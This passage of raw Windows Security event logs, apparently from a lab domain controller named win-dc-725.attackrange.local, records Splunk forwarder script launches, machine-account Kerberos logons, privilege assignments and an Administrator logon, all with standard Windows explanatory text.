C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250310 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1284 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250309 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1228 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250308 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1208 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250307 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x520 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250306 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250305 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105C05 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250304 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x105C05 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64430 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250303 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105C05 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250302 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105BA2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250301 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x105BA2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64429 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250300 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105BA2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250299 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105B37 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250298 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x105B37 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64428 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250297 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105B37 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250296 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105ACE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250295 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x105ACE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64427 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250294 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x105ACE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250293 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1040 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11f8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250292 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250333 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107442 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250332 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107442 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A7C21F96-132A-7B3F-2097-0F34FA89FADD} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250331 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A7C21F96-132A-7B3F-2097-0F34FA89FADD} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250330 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A7C21F96-132A-7B3F-2097-0F34FA89FADD} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250329 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250328 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: 